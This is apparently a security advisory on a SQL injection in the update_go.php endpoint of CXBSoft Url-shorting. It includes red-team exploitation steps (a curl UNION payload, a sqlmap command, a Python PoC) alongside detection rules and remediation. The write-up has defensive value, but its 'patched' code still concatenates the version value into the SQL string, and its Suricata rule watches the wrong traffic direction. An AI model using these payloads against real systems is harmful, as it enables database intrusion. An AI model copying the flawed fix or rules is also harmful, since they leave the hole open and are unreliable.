CVE-2024-0527

Executive Summary

CVE-2024-0527 is a critical SQL injection vulnerability discovered in CXBSoft Url-shorting, a URL shortening application, up to version 1.3.1. The flaw resides in the /admin/pages/update_go.php file, where the version parameter is improperly sanitized before being used in a SQL query. An unauthenticated attacker can exploit this by sending a crafted HTTP POST request, leading to unauthorized database access, data exfiltration, or potential remote code execution via stacked queries. The vendor was contacted but did not respond, leaving the vulnerability unpatched. Public proof-of-concept (PoC) code is available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a standalone PHP application. However, if the application is deployed as part of a larger supply chain (e.g., bundled in a Docker image or used as a microservice), the risk propagates downstream.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the availability of public exploit code and the lack of a patch elevate the real-world risk. An attacker can extract sensitive data (e.g., user credentials, API keys) and potentially modify database content.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the update_go.php script. The application likely constructs a SQL query to update a URL shortener entry based on the version parameter. Without proper sanitization or parameterized queries, an attacker can inject arbitrary SQL commands.

Root Cause: The version parameter is directly concatenated into a SQL query without escaping or using prepared statements.

Attack Flow:

1. The attacker sends a POST request to /admin/pages/update_go.php with a malicious version parameter.
2. The application executes a query like: UPDATE urls SET version = '$_POST['version']' WHERE id = ...
3. The injected SQL (e.g., ' OR '1'='1) modifies the query logic, allowing data extraction or manipulation.

Example Payload:

' OR 1=1 -- -

This would cause the query to update all rows, potentially corrupting data.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is presumed to be:

Vulnerable (PHP):

$version = $_POST['version'];
$sql = "UPDATE urls SET version = '$version' WHERE id = $id";
mysqli_query($conn, $sql);

Patched (Hypothetical):

$version = mysqli_real_escape_string($conn, $_POST['version']);
$sql = "UPDATE urls SET version = '$version' WHERE id = ?";
$stmt = mysqli_prepare($conn, $sql);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);

The patched version uses parameterized queries and input escaping to prevent injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running CXBSoft Url-shorting <= 1.3.1
• Access to the /admin/pages/update_go.php endpoint

Manual Exploitation:

curl -X POST http://target.com/admin/pages/update_go.php \
  -d "version=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"

Automated Exploitation with sqlmap:

sqlmap -u "http://target.com/admin/pages/update_go.php" \
  --data="version=1" \
  --batch --dbs

Proof-of-Concept (PoC) Code:

import requests

target = "http://target.com/admin/pages/update_go.php"
payload = {"version": "1' OR '1'='1"}
response = requests.post(target, data=payload)
print(response.text)

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP POST requests to /admin/pages/update_go.php with suspicious version parameters (e.g., containing SQL keywords like UNION, SELECT, OR).
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Defense:

• Immediately isolate the application if exploitation is suspected.
• Review database logs for unauthorized queries.
• Apply virtual patching via WAF rules.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /admin/pages/update_go.php with version parameter containing SQL syntax.
  • Outbound database connections from the web server to unknown IPs.
• File IOCs:
  • Modified entries in the urls table (e.g., unexpected version values).
  • New files in the web root (e.g., webshells).
• Log IOCs:
  • Database error logs showing SQL syntax errors.
  • Web server access logs with %27 (URL-encoded single quote) in the version parameter.

Detection Engineering

YARA Rule

rule CVE_2024_0527_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-0527"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-0527"
    strings:
        $s1 = "version=" nocase
        $s2 = "UNION" nocase
        $s3 = "SELECT" nocase
        $s4 = "OR" nocase
        $s5 = "1=1" nocase
        $s6 = "admin/pages/update_go.php" nocase
    condition:
        all of ($s1, $s6) and 1 of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-0527 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts against CXBSoft Url-shorting
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/pages/update_go.php'
        cs-uri-query|contains: 'version='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'OR'
        - '1=1'
    condition: selection and keywords
falsepositives:
    - Legitimate use of version parameter with numeric values
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-0527 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/pages/update_go.php";
    http_uri;
    content:"version=";
    http_client_body;
    pcre:"/(UNION|SELECT|OR|1=1)/Ri";
    sid:1000001;
    rev:1;
    reference:cve,2024-0527;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from the internet if possible.
2. Apply virtual patching using a WAF to block SQL injection patterns.
3. Review database logs for signs of compromise.

Long-Term Fix:

• Since the vendor is unresponsive, consider migrating to an alternative URL shortener.
• If you must continue using CXBSoft Url-shorting, manually patch the code by implementing parameterized queries in /admin/pages/update_go.php.

Workaround:

• Restrict access to /admin/pages/update_go.php via .htaccess or firewall rules to trusted IPs only.

Valters IT